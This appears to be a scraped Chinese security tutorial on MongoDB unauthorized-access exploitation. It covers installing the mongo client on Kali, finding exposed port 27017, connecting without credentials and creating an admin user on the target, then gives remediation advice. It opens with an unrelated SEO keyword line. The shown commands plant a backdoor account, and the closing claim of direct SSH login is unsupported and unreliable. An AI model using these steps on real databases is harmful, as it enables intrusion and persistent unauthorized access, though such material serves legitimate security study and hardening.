wordpress找回密碼,网站标题用空格 逗号影响seo,跨境电商平台有哪些,施工企业名词解释简介
MongoDB是一个基于分布式文件存储的数据库#xff0c;是一个介于关系数据库和非关系数据库之间的产品#xff0c;它的特点是高性能、易部署、易使用#xff0c;存储数据非常方便#xff0c;默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致…简介
MongoDB是一个基于分布式文件存储的数据库是一个介于关系数据库和非关系数据库之间的产品它的特点是高性能、易部署、易使用存储数据非常方便默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。
实战
一、环境安装
当发现该端口对外开放时使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。
可以查看官方安装方法
https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/
这边已经整理出kali中安装方法安装该工具走了不少弯路遇到各种环境问题。
1.导入MongoDB公共GPG密钥
wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -如果提示错误运行下面命令之后重新运行上面命令
sudo apt-get install gnupg2.创建一个列表文件来配置下载列表和下载源。
echo deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list3.重新加载更新源
sudo apt-get update4.安装MongoDB的最新稳定版本
sudo apt-get install -y mongodb-org5.启动进程
sudo systemctl start mongod如果您在启动mongod时收到类似于以下内容的错误
Failed to start mongod.service: Unit mongod.service not found.首先运行以下命令然后再次运行上面的开始命令然后再次运行上面的开始命令。
sudo systemctl daemon-reload6.配置开机自启
sudo systemctl enable mongod二、漏洞利用
1.扫描或者fofa发现端口或者服务默认端口27017 2.使用mongo连接数据库
命令格式mongo --host 目标ip --port 目标端口 3.查看用户、数据库信息等 4.创建系统用户管理员创建一个用户名为myUserAdmin密码为Passw0rd的系统用户管理员账号
#切换到admin库use admin
switched to db admin#创建用户db.createUser({user: myUserAdmin,pwd: Passw0rd,roles: [ { role: userAdminAnyDatabase, db: admin } ]}
)#创建成功后提示信息Successfully added user: {user : myUserAdmin,roles : [{role : userAdminAnyDatabase,db : admin}]
}5.ssh直接登录系统利用完毕。
注kali默认是没有安装mongo数据库连接工具的需要自己手动安装。
三、漏洞修复
3.0之前版本的MongoDB,默认监听在0.0.0.03.0及之后版本默认监听在127.0.0.1。
3.0之前版本如未添加用户管理员账号及数据库账号使用--auth参数启动时在本地通过127.0.0.1仍可无需账号密码登陆访问数据库远程访问则提示需认证
3.0及之后版本使用--auth参数启动后无账号则本地和远程均无任何数据库访问权限。1.如MongoDB只需在本地使用建议只在本地开启监听服务。 2.如果仅对内网服务器提供服务建议禁止将MongoDB服务发布到互联网上并在主机上通过防火墙限制访问源IP。 3.启动基于角色的登录认证功能